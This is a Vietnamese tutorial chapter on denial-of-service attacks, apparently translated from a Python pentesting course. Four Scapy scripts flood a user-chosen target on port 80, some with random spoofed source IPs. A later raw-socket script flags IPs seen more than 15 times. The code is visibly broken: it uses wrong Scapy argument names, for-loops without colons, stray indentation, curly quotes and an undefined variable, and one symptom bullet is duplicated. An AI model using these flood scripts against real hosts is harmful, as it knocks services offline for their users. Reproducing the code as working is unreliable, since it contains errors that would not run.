Tấn công DoS & DDoS

Trong chương này, chúng ta sẽ tìm hiểu về cuộc tấn công DoS và DdoS và hiểu cách phát hiện chúng.

Với sự bùng nổ của ngành thương mại điện tử, máy chủ web hiện nay rất dễ bị tấn công và là mục tiêu dễ dàng của tin tặc. Tin tặc thường cố gắng thực hiện hai kiểu tấn công:

  • DoS (Từ chối dịch vụ)
  • DDoS (Từ chối dịch vụ được phân phối)

Tấn công DoS (Từ chối dịch vụ)

Tấn công từ chối dịch vụ (DoS) là một nỗ lực của tin tặc nhằm làm cho tài nguyên mạng không khả dụng. Nó thường làm gián đoạn máy chủ, tạm thời hoặc vô thời hạn, được kết nối với Internet. Các cuộc tấn công này thường nhắm vào các dịch vụ được lưu trữ trên các máy chủ web quan trọng như ngân hàng, cổng thanh toán thẻ tín dụng.

Các triệu chứng của cuộc tấn công DoS

  • Hiệu suất mạng chậm bất thường.

  • Không có sẵn một trang web cụ thể.

  • Không có khả năng truy cập bất kỳ trang web nào.

  • Số lượng email spam nhận được tăng lên đáng kể.

  • Từ chối lâu dài quyền truy cập vào web hoặc bất kỳ dịch vụ Internet nào.

  • Không có sẵn một trang web cụ thể.

Các loại tấn công DoS và triển khai Python của nó

Tấn công DoS có thể được thực hiện ở lớp liên kết dữ liệu, mạng hoặc ứng dụng. Bây giờ chúng ta hãy tìm hiểu về các loại tấn công DoS &; triển khai của họ bằng Python -

Cổng đơn IP đơn

Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng một IP và từ một số cổng. Đây là một cuộc tấn công cấp thấp được sử dụng để kiểm tra hoạt động của máy chủ web. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh python sau sẽ giúp thực hiện tấn công DoS cổng đơn IP:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Khi thực thi, đoạn mã trên sẽ yêu cầu ba điều sau:

  • Địa chỉ IP của nguồn và đích.

  • Địa chỉ IP của số cổng nguồn.

  • Sau đó, nó sẽ gửi một số lượng lớn các gói đến máy chủ để kiểm tra hành vi của nó.

Nhiều cổng IP đơn

Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng một IP và từ nhiều cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh python sau sẽ giúp thực hiện tấn công DoS nhiều cổng IP đơn:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Nhiều IP cổng đơn

Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng nhiều IP và từ một số cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh Python sau thực hiện tấn công DoS nhiều cổng IP đơn -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Nhiều IP nhiều cổng

Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng nhiều IP và từ nhiều cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh Python sau đây giúp thực hiện tấn công DoS nhiều IP nhiều cổng -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Tấn công DDoS (Từ chối Dịch vụ Phân tán)

Tấn công từ chối dịch vụ phân tán (DDoS) là một nỗ lực làm cho một dịch vụ trực tuyến hoặc một trang web không khả dụng bằng cách làm cho nó quá tải với một lượng lớn lưu lượng truy cập được tạo ra từ nhiều nguồn.

Không giống như cuộc tấn công từ chối dịch vụ (DoS), trong đó một máy tính và một kết nối Internet được sử dụng để làm ngập tài nguyên được nhắm mục tiêu với các gói tin, cuộc tấn công DDoS sử dụng nhiều máy tính và nhiều kết nối Internet, thường được phân phối trên toàn cầu dưới dạng botnet . Một cuộc tấn công DDoS thể tích quy mô lớn có thể tạo ra một lưu lượng được đo bằng hàng chục Gigabit (và thậm chí hàng trăm Gigabit) mỗi giây. Nó có thể được đọc chi tiết tạihttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Phát hiện DDoS bằng Python

Trên thực tế, cuộc tấn công DDoS hơi khó phát hiện vì bạn không biết máy chủ đang gửi lưu lượng truy cập là giả hay thật. Tập lệnh Python đưa ra dưới đây sẽ giúp phát hiện cuộc tấn công DDoS.

Để bắt đầu, hãy để chúng tôi nhập các thư viện cần thiết -

import socket
import struct

from datetime import datetime

Bây giờ, chúng ta sẽ tạo một socket như chúng ta đã tạo trong các phần trước.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Chúng tôi sẽ sử dụng một từ điển trống -

dict = {}

Dòng mã sau sẽ mở một tệp văn bản, có chi tiết về cuộc tấn công DDoS trong chế độ nối thêm.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Với sự trợ giúp của dòng mã sau, thời gian hiện tại sẽ được ghi bất cứ khi nào chương trình chạy.

file_txt.writelines(t1)
file_txt.writelines("\n")

Bây giờ, chúng ta cần giả sử các lần truy cập từ một IP cụ thể. Ở đây chúng tôi giả định rằng nếu một IP cụ thể bị tấn công hơn 15 lần thì đó sẽ là một cuộc tấn công.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Dòng mã sau sẽ kiểm tra xem IP có tồn tại trong từ điển hay không. Nếu nó tồn tại thì nó sẽ tăng nó lên 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Dòng mã tiếp theo được sử dụng để loại bỏ phần dư thừa.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Sau khi chạy đoạn script trên, chúng ta sẽ nhận được kết quả dưới dạng tệp văn bản. Theo kịch bản, nếu một IP truy cập nhiều hơn 15 lần thì nó sẽ được in ra khi cuộc tấn công DDoS được phát hiện cùng với địa chỉ IP đó.